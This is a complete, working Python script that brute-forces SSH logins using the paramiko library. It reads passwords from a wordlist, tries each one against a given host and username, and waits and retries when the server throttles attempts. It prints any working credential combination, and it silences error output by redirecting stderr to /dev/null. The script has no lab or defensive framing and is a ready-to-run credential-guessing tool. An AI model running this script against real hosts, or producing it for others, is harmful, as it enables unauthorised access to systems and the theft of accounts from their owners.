import sys
import paramiko
import socket
import time
import os

# anything that running this program prints to stderr should be
# redirected to /dev/null
#
os.dup2(os.open(os.devnull, os.O_WRONLY), 2)

def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"[!] Host: {hostname} is unreachable, timed out.")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
    except paramiko.SSHException:
        print(f"[*] Quota exceeded, retrying with delay...")
        # sleep for a minute
        time.sleep(60)
        return is_ssh_open(hostname, username, password)
    else:
        # connection was established successfully
        print(f"[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}")
        return True


if __name__ == "__main__":


    with open(sys.argv[3]) as wordlist:
        for password in wordlist.readlines():
            password=password.strip("\n")
            if password.startswith('#'):
                pass
            else:
                if is_ssh_open(sys.argv[1], sys.argv[2], password) == True:
                    break